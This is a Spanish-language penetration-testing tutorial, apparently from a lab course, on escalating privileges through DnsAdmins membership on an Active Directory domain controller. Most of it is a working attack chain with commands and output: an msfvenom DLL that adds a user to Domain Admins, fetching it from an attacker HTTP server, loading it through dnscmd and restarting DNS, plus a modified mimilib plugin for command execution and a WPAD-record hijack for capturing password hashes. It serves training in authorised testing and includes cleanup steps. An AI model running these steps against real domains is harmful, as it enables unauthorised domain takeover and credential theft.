Saltar a contenido

Leveraging DnsAdmins Access

Generating Malicious DLL

Podemos generar una DLL maliciosa para agregar un usuario al grupo domain admins utilizando msfvenom.

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

Starting Local HTTP Server

Luego, inicia un servidor HTTP con Python.

python3 -m http.server 7777

Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -

Downloading File to Target

Descarga el archivo en el objetivo.

PS C:\htb>  wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

Veamos primero qué sucede si usamos la utilidad dnscmd para cargar una DLL personalizada con un usuario no privilegiado.

Loading DLL as Non-Privileged User

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

Como era de esperar, intentar ejecutar este comando como un usuario normal no es exitoso. Solo los miembros del grupo DnsAdmins tienen permiso para hacer esto.

Loading DLL as Member of DnsAdmins

C:\htb> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109           

Loading Custom DLL

Después de confirmar la membresía en el grupo DnsAdmins, podemos ejecutar nuevamente el comando para cargar una DLL personalizada.

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Nota: Debemos especificar la ruta completa a nuestra DLL personalizada o el ataque no funcionará correctamente.

Solo la utilidad dnscmd puede ser utilizada por los miembros del grupo DnsAdmins, ya que no tienen permiso directo en la clave del registro.

Con la configuración del registro que contiene la ruta de nuestro plugin malicioso configurada y nuestro payload creado, la DLL se cargará la próxima vez que se inicie el servicio DNS. La membresía en el grupo DnsAdmins no otorga la capacidad de reiniciar el servicio DNS, pero es algo que los administradores de sistemas podrían permitir a los administradores de DNS hacer.

Después de reiniciar el servicio DNS (si nuestro usuario tiene este nivel de acceso), deberíamos poder ejecutar nuestra DLL personalizada y agregar un usuario (en nuestro caso) o obtener una reverse shell. Si no tenemos acceso para reiniciar el servidor DNS, tendremos que esperar hasta que el servidor o el servicio se reinicie. Verifiquemos los permisos de nuestro usuario actual en el servicio DNS.

Finding User's SID

Primero, necesitamos el SID de nuestro usuario.

C:\htb> wmic useraccount where name="netadm" get sid

SID
S-1-5-21-669053619-2741956077-1013132368-1109

Checking Permissions on DNS Service

Una vez que tengamos el SID del usuario, podemos usar el comando sc para verificar los permisos en el servicio. Según este artículo, podemos ver que nuestro usuario tiene permisos RPWP que se traducen a SERVICE_START y SERVICE_STOP, respectivamente.

C:\htb> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Consulta el módulo Windows Fundamentals para una explicación de la sintaxis SDDL en Windows.

Stopping the DNS Service

Después de confirmar estos permisos, podemos emitir los siguientes comandos para detener y iniciar el servicio.

C:\htb> sc stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530

El servicio DNS intentará iniciar y ejecutar nuestra DLL personalizada, pero si verificamos el estado, mostrará que no se pudo iniciar correctamente (más sobre esto más adelante).

Starting the DNS Service

C:\htb> sc start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6960
        FLAGS              :

Confirming Group Membership

Si todo va según lo planeado, nuestra cuenta se agregará al grupo Domain Admins o recibirá una reverse shell si nuestra DLL personalizada fue hecha para darnos una conexión de regreso.

C:\htb> net group "Domain Admins" /dom

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

Cleaning Up

Realizar cambios de configuración y detener/iniciar el servicio DNS en un Domain Controller son acciones muy destructivas y deben realizarse con gran cuidado. Como penetration testers, debemos obtener la aprobación de nuestro cliente antes de proceder con esto, ya que podría potencialmente afectar el DNS para todo el entorno de Active Directory y causar muchos problemas. Si nuestro cliente da su permiso para continuar con este ataque, debemos ser capaces de cubrir nuestras huellas y limpiar después de nosotros o proporcionar a nuestro cliente pasos sobre cómo revertir los cambios.

Estos pasos deben tomarse desde una consola elevada con una cuenta de administrador local o de dominio.

Confirming Registry Key Added

El primer paso es confirmar que la clave de registro ServerLevelPluginDll existe. Hasta que nuestra DLL personalizada sea eliminada, no podremos iniciar el servicio DNS nuevamente correctamente.

C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WINLPE-DC01.INLANEFREIGHT.LOCAL
    Forwarders    REG_MULTI_SZ    1.1.1.1\08.8.8.8
    ForwardingTimeout    REG_DWORD    0x3
    IsSlave    REG_DWORD    0x0
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1
    ServerLevelPluginDll    REG_SZ    adduser.dll

Deleting Registry Key

Podemos usar el comando reg delete para eliminar la clave que apunta a nuestra DLL personalizada.

C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

Starting the DNS Service Again

Una vez hecho esto, podemos iniciar el servicio DNS nuevamente.

C:\htb> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4984
        FLAGS              :

Checking DNS Service Status

Si todo salió según lo planeado, consultar el servicio DNS mostrará que está en funcionamiento. También podemos confirmar que el DNS funciona correctamente dentro del entorno realizando un nslookup contra el localhost u otro host en el dominio.

C:\htb> sc query dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Nuevamente, este es un ataque potencialmente destructivo que solo debemos realizar con el permiso explícito y en coordinación con nuestro cliente. Si ellos comprenden los riesgos y desean ver una prueba de concepto completa, los pasos descritos en esta sección ayudarán a demostrar el ataque y limpiar después.

Using Mimilib.dll

Como se detalla en este post, también podríamos utilizar mimilib.dll del creador de la herramienta Mimikatz para obtener ejecución de comandos modificando el archivo kdns.c para ejecutar un reverse shell one-liner u otro comando de nuestra elección.

/*  Benjamin DELPY `gentilkiwi`
    https://blog.gentilkiwi.com
    benjamin@gentilkiwi.com
    Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
    return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
    return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
    FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
    if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
    {
        klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
        fclose(kdns_logfile);
        system("ENTER COMMAND HERE");
    }
    return ERROR_SUCCESS;
}

Creating a WPAD Record

Otra forma de abusar de los privilegios del grupo DnsAdmins es creando un registro WPAD. La membresía en este grupo nos da los derechos para disable global query block security, que por defecto bloquea este ataque. Server 2008 introdujo por primera vez la capacidad de agregar a una lista de bloqueo de consultas globales en un servidor DNS. Por defecto, Web Proxy Automatic Discovery Protocol (WPAD) e Intra-site Automatic Tunnel Addressing Protocol (ISATAP) están en la lista de bloqueo de consultas globales. Estos protocolos son bastante vulnerables al secuestro, y cualquier usuario del dominio puede crear un objeto de computadora o un registro DNS que contenga esos nombres.

Después de deshabilitar la lista de bloqueo de consultas globales y crear un registro WPAD, cada máquina que ejecute WPAD con la configuración predeterminada tendrá su tráfico redirigido a través de nuestra máquina de ataque. Podríamos usar una herramienta como Responder o Inveigh para realizar suplantación de tráfico e intentar capturar hashes de contraseñas y descifrarlos fuera de línea o realizar un ataque SMBRelay.

Disabling the Global Query Block List

Para configurar este ataque, primero deshabilitamos la lista de bloqueo de consultas globales:

C:\htb> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Adding a WPAD Record

Luego, agregamos un registro WPAD apuntando a nuestra máquina de ataque.

C:\htb> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local